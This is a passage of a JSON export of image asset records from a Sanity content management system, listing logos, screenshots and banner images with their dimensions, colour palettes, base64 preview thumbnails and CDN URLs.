mddMUYrvpU/t9RjJIdUGQAqZeWPdGLaZwSfqtEXB+ERABbHXy5oqPLkb3Q85c/a37RSXei8/AhmlK6elf/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#745434","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#842404","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":14.84,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9ec6c2","foreground":"#000","population":0.16,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7bb6d","foreground":"#000","population":0.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5ca9ae","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":14.84,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"contact_meta_preview.jpg","path":"images/sczeoy4w/production/ab5acb791f9dd9c48d0ac86878c9f7c98214ec87-1200x630.jpg","sha1hash":"ab5acb791f9dd9c48d0ac86878c9f7c98214ec87","size":65234,"uploadId":"rj6tkf8utDXl12uyQd4w3M1TmhEDZgkr","url":"https://cdn.sanity.io/images/sczeoy4w/production/ab5acb791f9dd9c48d0ac86878c9f7c98214ec87-1200x630.jpg"} {"_createdAt":"2024-03-25T09:24:17Z","_id":"image-ab8303d232be5e99791b0bd6b440713856a7c4b0-956x190-svg","_rev":"Y34ePYFQ489qDVybEJPnPL","_type":"sanity.imageAsset","_updatedAt":"2024-03-25T09:24:17Z","assetId":"ab8303d232be5e99791b0bd6b440713856a7c4b0","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"4b9tik_4.9%Mf5","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":5.031578947368421,"height":190,"width":956},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA/UlEQVQYlU2NzyuDcRzHX8+3tseWubFN4y9wWJk1irXkV4tycHXazUXJUUohekp6VvaLJxqP9EgptYPCwY8dHB1N7eDMYTmJvvVRDq9en96fT583y6sb85sl97zgXj6Xq2fO+pY1EunqDALtSqkQYAJ+ICDo2Sc2xX/7NtZ2K+5K9fZt767ROnl4fbHdq6VEMtUHDBqGMaYNJIEhYBhIAQlB5wOCzvux8sXG9nHtq3Lf/Dmov3/ueDf72dm5tH5gKDUNZIFxYBKYESaAUUAXTsmNdgbbzjePTr2Wd/347dSePqzDCye3sBgHOnx+Mwx0AxEgCvQI/7MY0CsO/wKTYUKX13fGoQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e495c","foreground":"#fff","population":0.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#115c96","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a5ddf9","foreground":"#000","population":1.47,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8cb4cc","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a5ddf9","foreground":"#000","population":1.47,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c7490","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#25a1ee","foreground":"#fff","population":0.93,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"memberstack.svg","path":"images/sczeoy4w/production/ab8303d232be5e99791b0bd6b440713856a7c4b0-956x190.svg","sha1hash":"ab8303d232be5e99791b0bd6b440713856a7c4b0","size":27841,"uploadId":"iNJT1fmfETttk8kwGg9Eh2NmXNBGTQce","url":"https://cdn.sanity.io/images/sczeoy4w/production/ab8303d232be5e99791b0bd6b440713856a7c4b0-956x190.svg"} {"_createdAt":"2022-06-16T22:53:50Z","_id":"image-ab930821af442448c397965c09cdf767041b7567-115x21-svg","_rev":"qkpX9b3U0TpOGFQp8fNxQ2","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:53:50Z","assetId":"ab930821af442448c397965c09cdf767041b7567","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"4K6c1oUHYjTycF","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":5.476190476190476,"height":21,"width":115},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA7ElEQVQYlS3Pv0oDQRDH8TyB/6q94k5IQIuowcvmvuvvkhiCgigWCgoqokFQ8BlsBSEgFjEg7hWWm8In8OHkYIuBYZj58JuG8eHH+PBnfPhM37+GxfggK4teU841BRuCrmBPsCVoCTYFCAaCQjAUlIK2YLthfPg11WKW+DDLpvOJPT7NS9vN5VyN9OLBOKK5YCS4EUwED4JnwZPgVnBZg2+mWrwkPrxm0/mFPTppl9Z25Jxiut0IdWLKfcFdrOuI1/2j4KwGR8aHe1OFq/Tju+X6gyVBEt9dF6wJVgTLgtU4PxRYQRp36vTngp1/g6ZVOzjjPD8AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e4c54","foreground":"#fff","population":0.12,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#046c5e","foreground":"#fff","population":0.12,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#109db4","foreground":"#fff","population":0.41,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#0c7a8c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#85e4f4","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#54a4a4","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#109db4","foreground":"#fff","population":0.41,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"optio-pay.svg","path":"images/sczeoy4w/production/ab930821af442448c397965c09cdf767041b7567-115x21.svg","sha1hash":"ab930821af442448c397965c09cdf767041b7567","size":5883,"uploadId":"a6OeHjxffH8f8DdudblRXI7Qqz3TV78h","url":"https://cdn.sanity.io/images/sczeoy4w/production/ab930821af442448c397965c09cdf767041b7567-115x21.svg"} {"_createdAt":"2024-08-07T02:31:25Z","_id":"image-abc1c02313396e26f7890624ff9f3526597bc653-1550x1574-png","_rev":"BVM0UzymoPXcfHGeYaGZSn","_type":"sanity.imageAsset","_updatedAt":"2024-08-07T02:31:25Z","assetId":"abc1c02313396e26f7890624ff9f3526597bc653","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eDCQZC8w1B%%=|9#^fD$E2?GNY9v};s:9Z0k%N-qjZRO$yIVxB%1Rl","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.9847522236340533,"height":1574,"width":1550},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAACxLAAAsSwGlPZapAAAE6klEQVQ4jT3S61eNaRjH8WvLqWQwhiKnUqKRSSnpSImW6axUE2Xbo6Jzu/NBZ7FkJRqJdNIqdgedM4OlFlHDmKYxyxgzL8a7eTl/wXfWsx/mxW8996vPc9339RM5kocEFyHh5UhUDRJdixyrQaIqkZgaJKEe+bYJSbqFJLUgybfVnGlDzrarSW5FEm8ip64jRiysDImqVrGQQhZ4x7PIJZglbqEs9ddiFlmEqfYyC5OakbNtSEoHktqJpHWpUc5nFPQWYpws8iMWVoLG/RimW52xsHXEZtdeHL0D2RuuxSU+j426WkzPNqNJ70Iye5Csu2qUc9od9WfqNS8gEWXIvlgWbXTAapMN3p7enIyJpjQrnfrqKsorzhOeXo5Nch2LMzoQvQHR9yI5verXiHYhEnsJibmIBKSw0Ho3a9esxcdpJ/oTUfRcLOVlXxvvnz7k+YMJqi5cweN0KebJjSqSN4Dk9qv5hMrxevW67jF8ZrkJFxsrEgO9aM4+xfOWS3x4Msy/7+b5e36OW023CIjPYGVCDRr9XSR/EMm7r8aIGhA52WgENS5hrLawws/BmtwIf1pzTzPZVMsfE738M/+KD/M/Y2jvIPZ0FvbaMsz1d5D8ARX9BCuo6G5gnNIzjlXrbfDevoW04P00ZmgZrjvHVPt3PO3vYWZilLG7PZwvryYhpwb7/DZM8vuQgkGkcBgpGFJRSWxBdM1IYCbmNk44Wm8gzGM32dEhXM9LobOqkIaCbDrqanls6Gbo9k2u1V3lUGUnSwoHVKxoFCkcUVE5044STWQ5yxy82LphPR5f2hHi6Up+3FE6ynJpKcyk72IFv4wNMDvUS1vTTUJquzErGVSxknGkeExFJUUpZzcLEq6wfF84DnbbCHZzItbHnYzQQAbrqpltb2K6uYFfh3uZHurj/JVm3Mq7WFwyjJSMIaUTKqrgkt6DZBrQpHayLFSPo5sPukP7yfjan7Qj/vRUlTJzpw3D+Sraqsu5cbmOuOI6LHPb0RQp4LgK/j9h5j0kuw/JGcBEd41N/rGE+HoT7elKqKsThSdiaSotoSjpDCfCIoiKPo6rtgDzrFZEARXoE2Z8wyyl7QNIwQiS0Y1ZUBpbtn+F7ToLHDZaEeHrTWlSEiVnUwkLDMLZ5zDW0VmYZnciRSNqlMUYqzOASLbSdGX1o0jeIJqYahZtc8Pc/DPs1q8j0seHitOJVKZmEBESiXtAKG66QjYU92BSPPKxh5+K3YuIvh/JG0KKlE09QFLaMPGIYukqCzZZruPAHjdiDh0h4nAQBw4GERlzgoLyGrSNfWy/MMbSokEkpw/JNiBZ9xRQabvSpXEW5N/HLPEqq7wjWP6FJStWrmLzFlscduxip6Mzvn6BFOuzGGpvYnjiAZX9kxxpnMCm8j7L8gzGJzOCGn0vS1Nb+Dy2mM3+R3FwcsbaypLVK1dgYWHBVhtb9jjvQRcXy52Gi8yOGvj95TNev/yRvodTVNx7RNi1MXZU9CNmqa2s0dZiG3KKXR4+uDjuwGvXNmP22FvjusMWPzdn4sOCaDiXz5PeDt48e8Rfc7P8+foFv81MMfN0koEfJqkfnETs4ovZF/oNB3298HN1xNPRDl8ne4K9nIn0cyfa3wNtUAD5uuO0Xqrm+fh93r2a5v1PL3g7M8Wb6cfMTX3P/PQT3s694j8OV1beIB7JrQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#61443a","foreground":"#fff","population":3.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#045f8f","foreground":"#fff","population":5.14,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#047cb3","foreground":"#fff","population":10.59,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c9bab3","foreground":"#000","population":1.4,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d7ad99","foreground":"#000","population":0.36,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9b756d","foreground":"#fff","population":3.66,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#047cb3","foreground":"#fff","population":10.59,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"smaller-jakob-shimony.png","path":"images/sczeoy4w/production/abc1c02313396e26f7890624ff9f3526597bc653-1550x1574.png","sha1hash":"abc1c02313396e26f7890624ff9f3526597bc653","size":4618244,"uploadId":"60gVZEaH3NjRpLDSuYynNDuINPQYFu00","url":"https://cdn.sanity.io/images/sczeoy4w/production/abc1c02313396e26f7890624ff9f3526597bc653-1550x1574.png"} {"_createdAt":"2023-11-15T08:28:15Z","_id":"image-abdecdcc2c612cf74499d9bba0a2ff18c02345b6-3600x1884-png","_rev":"6DRE6Zb4jyu9iXgb2L99mN","_type":"sanity.imageAsset","_updatedAt":"2023-11-15T08:28:15Z","assetId":"abdecdcc2c612cf74499d9bba0a2ff18c02345b6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M49GLv1V^9*^1S?YO_]K16]hvwJG$vbeRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":1884,"width":3600},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAACxLAAAsSwGlPZapAAACgklEQVQokW3RW0+SARjAcT5AWYK8HF94fXkFERTUEOSogJjzGJLO1Dykpiw1FUU8Lc1pzvIim20dbsq1tdrqwrV1+ALd9Y3+TWzrxovn9rfn+T8qtb4XUb6Do3oSZ20WxT2DxT6NuSKLxTGPaF9ELy+ik3MYlAJGZQ2dNE+ZOIPbmSXf2sPnwQZ2u9LEAtuoysz9OL1ThOI5wok8/tgKofgGsdQ20dQuvug2Sk0BsyOP2bGOUVlFa5lBbZ7E5xrnuCfEn/si7wcidEdWUAmWAeoCs7R1b9HW84hYaoNk+zZdtw/pzDyjpeOQYGIfX3SPmsAeUtVaEdSI07irHrDa1svXkTBPM30kQzuoNKZ+Kj1TNDYtEWxewRtYxOPPEYxvEU7s0Nj8mHDyCZHUIb7oAbJ7E0GaQ2udx1q5SSx0wGD7EZ2pE2r8r1GVCBnOUYM0hFEeQS+NoZcmLhra57E4lih35bFVryO7txAd6xjkJYy2HFLVPu7GD/gS36lrOsPpP0V1pSxNcbQZSnT9XDcMojaOojFPFMML1lkEaeHiKbYCsj1PyDVNp2eU1vpVApFTbiR/Udv07QK8qk1zTeilVN+H2jiA2jSM2jRGmThZbKWT5tCVL2CwLWNQ1qhxLrHs7+BT3MNRcw/dzS/xJX/+B0uFNBZjLzbbIJJjHH35GBrz+UwUwfNeF2AOvbKGt2qB/VCC3zetnLYk6Is/x5f4gTd2RmXDO1Qa4RaKmMZVOYy9egqTcu9SUP9vQ7czR9aX4TjaxEp4mET4BZ7IF1zBj1TUvUFVok2j0aURTP1oxSE05rvFky8HC9gcBYLVD2n1zhHybuKqfY69/i1K3Stkzwl/AW/6aH9o4L2EAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3d4573","foreground":"#fff","population":0.76,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141d6c","foreground":"#fff","population":9.36,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d88058","foreground":"#fff","population":9.9,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8a95bc","foreground":"#000","population":0.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d88058","foreground":"#fff","population":9.9,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#696087","foreground":"#fff","population":1.54,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3645bc","foreground":"#fff","population":7.46,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Copy of WIP DevRel Event social media post template (1200x628).png","path":"images/sczeoy4w/production/abdecdcc2c612cf74499d9bba0a2ff18c02345b6-3600x1884.png","sha1hash":"abdecdcc2c612cf74499d9bba0a2ff18c02345b6","size":390927,"uploadId":"Py705yqI7k2SLOGMS2FcMZ82ZPyGe4jt","url":"https://cdn.sanity.io/images/sczeoy4w/production/abdecdcc2c612cf74499d9bba0a2ff18c02345b6-3600x1884.png"} {"_createdAt":"2023-10-30T11:20:56Z","_id":"image-ac20325625b3d0e73776126836e84c790e4cad36-1024x204-png","_rev":"K4OjmPZwqkJMmxhvodMSsb","_type":"sanity.imageAsset","_updatedAt":"2023-10-30T11:20:56Z","assetId":"ac20325625b3d0e73776126836e84c790e4cad36","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"4U1h}Gq6p:lMk,","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":5.019607843137255,"height":204,"width":1024},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA30lEQVQYlS3NyyrEcQDF8c//ogijJtMkM9iYmSg2WKlZ2ijZKonIJQvktrIQmbVS06RYKUp5Cg+A1LC18AAeQDP9Tn0X53Q6R/k9fSq9pV/lj/Sl0kyrY79pWqgnBm8SQR3oRw6Z4FtqFXrQhzRkkaGH5LvQSP6GH5Nm8S457JqKKihIjaCISSxgDhNhPI8SZjCLMu3+qPxZ/Jo7iH8GavFndjWux722sCKyRptTXNHO5zEdxpexjk0sBXZ0V6PLzGL0nN2IG53jarjAeaDl73GLfWyHkd1wdIwT7OEI1/8MoilCxmsq1QAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c5c44","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#107608","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#09f604","foreground":"#fff","population":0.09,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#248b0d","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5cec3c","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5ca860","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#09f604","foreground":"#fff","population":0.09,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"FL logo.png","path":"images/sczeoy4w/production/ac20325625b3d0e73776126836e84c790e4cad36-1024x204.png","sha1hash":"ac20325625b3d0e73776126836e84c790e4cad36","size":7202,"uploadId":"ZFYMwzSGevkVGEy3IKESSDcRIytIoQPl","url":"https://cdn.sanity.io/images/sczeoy4w/production/ac20325625b3d0e73776126836e84c790e4cad36-1024x204.png"} {"_createdAt":"2024-08-14T07:35:01Z","_id":"image-ac22b2903d03b80b3929129f0d4c2f6727ff36a3-1200x628-png","_rev":"s0dP0dEg2u16GKIcfjj8Z7","_type":"sanity.imageAsset","_updatedAt":"2024-08-14T07:35:01Z","assetId":"ac22b2903d03b80b3929129f0d4c2f6727ff36a3","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M78EJx_19DM_WB?dtQM^WZWB4nITxuxufA","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACeklEQVQokSWSaU8aYRSF+QWtwMAAAwyLe2vUKqig0sUFiowzKLhWsRbQqqBVG407LrW2xagf/LlPM68fbm5y8+bknPO8Fsk7Q2tnkZ6BCtGhXfqGfxIZOqD//TGxj+fEPl4STVzR9/4X/R/+EEn85V38htDbfZzqOg51E1doFzm0gzNQweJS54jEK4xljkkbF6SNK1L6NZnpO7R8nUzunqRxT3rqiYncM5+zz4xqj3THzlGatnEGtnAGq2I7/OtYZHWOntgWSe2EzFQNbfoGY/aOqfk6+sw9+swD+uwTWv6RpP5Aynjic/aB4bFbmrsOkUNVHOp3JF8Ju3fVFJylN7ZFavJUOEzpl2i53xiz/5jM19Fy98LpyMQN3bFjOqJHdA0c0tl3QOjNPnJwC7uviE1ZxupexOIKzNGf2EabvmAiW2Ncu2BcuyJl3KLP1MnOPTCZ/8eH5BlvenYJtlfwhEs41RUcalnEtCkrNLjnxQjB6FBVRB7LnDKSPmMkXWM0c01SvyMzXReC41qN4dETosNHBNs2hSO7r4wc3BZxbUoByexQ8uZp6/xGJF4lMviD3sE9QTkydERP/Jho4oL4pxp9iUMig3t0D+wRbDMBFAUIV3j/BYi6gbvxEIvdZRBWc7S3FWjpKKO2lPCEi3jC63jCmyhNVbxNFdyhInKggGxG9a8KAJJ/TQAxOzS3K/wTi13WCXsNWpsXaWwv4g59FfZtyiqSbw3Jv4Hdt4ZN+YrVU8CqrGD1LNHgXhDdvQApYPd9Qw7uYHntNJBcWZxKHodvAbt3CZv35YFZuDOwKeJI/hKSvyxcWT1feCXnsHqWxWc2b2aP7sYD/gPcu2f+6/NtFgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#35316a","foreground":"#fff","population":0.14,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#131b6c","foreground":"#fff","population":10.22,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#131b6c","foreground":"#fff","population":10.22,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#959ac2","foreground":"#000","population":1.2,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e0e7f3","foreground":"#000","population":7.61,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#686f94","foreground":"#fff","population":1.9,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bb4246","foreground":"#fff","population":0.17,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Retail Detail How AI Leverages Real-Time Data to Unlock Revenue Potential.png","path":"images/sczeoy4w/production/ac22b2903d03b80b3929129f0d4c2f6727ff36a3-1200x628.png","sha1hash":"ac22b2903d03b80b3929129f0d4c2f6727ff36a3","size":266550,"uploadId":"QcKVGNWpYNy7EQbds1rfS0ePXbzBCfnI","url":"https://cdn.sanity.io/images/sczeoy4w/production/ac22b2903d03b80b3929129f0d4c2f6727ff36a3-1200x628.png"} {"_createdAt":"2022-11-21T11:52:22Z","_id":"image-ac2691faf4cd276ae77e2d56570b0b3c052511fe-1742x995-png","_rev":"YI3rks3mbRtnzMpdo10xus","_type":"sanity.imageAsset","_updatedAt":"2022-11-21T11:53:05Z","altText":"Screenshot for how to use the Aiven API and Postman to make an API call: list clouds","assetId":"ac2691faf4cd276ae77e2d56570b0b3c052511fe","description":"The next step for Aiven API calls, getting the list of available clouds.","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7507537688442212,"height":995,"width":1742},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB5ElEQVQokY2R64rcMAyF8/5vUfoGC7O/S59hKDvbC92MdxInM04cXyT5Ihd7LiyFQg0fsox1fCR3w/HtyzwO38/zdJwn2U9ybMxy7M/TNU7j0Mvx1E9y6Oud841Ryv54Gt/EaRCnd7E/9r8/dXIY9ou6bFrroPVKm9ZkrSFnDNlNt+isJVujcwTgCQAaxnqaFotSbXG6rJOcz0+dlOOrUgq11sUYU5y1Bbwv3tlirSne+0JEjRBCiTE+oBCL8VSGBcsP6dd+2p67y+XyopTySqmitWZnLXvvGMAzADAiMhFxCIFjjJxSavGaBw4h5rMJ5dcM6jibXbcsy0FrDdWhtYYRoDlJKZWcc6Pu7zkzP85ySpwzc0i5eAzLZt2u01ofnHMAAKW6qa3cC/+D+6o1CyLuOmPMoard5sQfZ/XR1d/c3HPKmWPOJcS0QBW01r4gYhOsDhHgOjsAJsQ2q5Ryay0/DDFXsZtgjqkJKgDcdc65V0TE+08+8L6gh0IUSi1ImRv5H+2nnFdEfK4O9wCwIWJsuiFQICKyjrx1BPWpmCjERDFlSjkTMzdyzndSSmkCgKduXdevxpifzrl355zw3gvwXrhtE5vWYrNOOI8CkBpEQYQQBBEJJBSIeETEEwB8M8Z8/gNDAUvUDv8y1wAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#464444","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#345cac","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1874de","foreground":"#fff","population":0.16,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acc4d4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4599e9","foreground":"#fff","population":0.14,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6a90bc","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1874de","foreground":"#fff","population":0.16,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"list-clouds.png","path":"images/sczeoy4w/production/ac2691faf4cd276ae77e2d56570b0b3c052511fe-1742x995.png","sha1hash":"ac2691faf4cd276ae77e2d56570b0b3c052511fe","size":161164,"title":"Screenshot for how to use the Aiven API and Postman to make an API call: list clouds","uploadId":"F96Ky8c7ZgVDyVEs8JQkuv6HJNQZxsrq","url":"https://cdn.sanity.io/images/sczeoy4w/production/ac2691faf4cd276ae77e2d56570b0b3c052511fe-1742x995.png"} {"_createdAt":"2023-06-07T12:15:48Z","_id":"image-ac4a1d48a75205eec9aab5d342c912be71e40d03-1920x1037-jpg","_rev":"dsxJlHxlnt5nZt5n1uLcq0","_type":"sanity.imageAsset","_updatedAt":"2023-06-07T12:15:48Z","assetId":"ac4a1d48a75205eec9aab5d342c912be71e40d03","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M7DLjH.m9J%f-j00%exsWENJxnoft2WDM}","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8514946962391514,"height":1037,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAABgABA//EACEQAAICAQMFAQAAAAAAAAAAAAECAAMRBAUhEhMxMkFh/8QAFwEAAwEAAAAAAAAAAAAAAAAAAQIFBv/EABoRAAICAwAAAAAAAAAAAAAAAAABAhESE1H/2gAMAwEAAhEDEQA/AE1mlJIFenUD5ictbs9619XbYBvMThF5OORNd2ZQGJI/Zfc2qozCXQGdkuY5CEgyjZ6a8+olH3gwP//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c7c80","foreground":"#fff","population":0.22,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#40749c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4486ba","foreground":"#fff","population":4.33,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9ebfc0","foreground":"#000","population":0.26,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#87c8ec","foreground":"#000","population":0.81,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6996a6","foreground":"#fff","population":0.87,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4486ba","foreground":"#fff","population":4.33,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"ovo-customer-img.jpg","path":"images/sczeoy4w/production/ac4a1d48a75205eec9aab5d342c912be71e40d03-1920x1037.jpg","sha1hash":"ac4a1d48a75205eec9aab5d342c912be71e40d03","size":1352055,"uploadId":"F5BgevoMzwTAKTXK3g1plo4oXcroDoRp","url":"https://cdn.sanity.io/images/sczeoy4w/production/ac4a1d48a75205eec9aab5d342c912be71e40d03-1920x1037.jpg"} {"_createdAt":"2023-04-05T11:00:54Z","_id":"image-ac635e5643f5691578ff859676e141d7f0ffcf36-1200x630-jpg","_rev":"R0WN5JQK3eK7kTFbDVMkUP","_type":"sanity.imageAsset","_updatedAt":"2023-04-05T11:00:54Z","assetId":"ac635e5643f5691578ff859676e141d7f0ffcf36","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5QA5Q}}nhol~T.69ax]%gbc?403M|^$Ic","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAMBAgj/xAAeEAACAwEAAgMAAAAAAAAAAAABAgADBBEhMTJxkf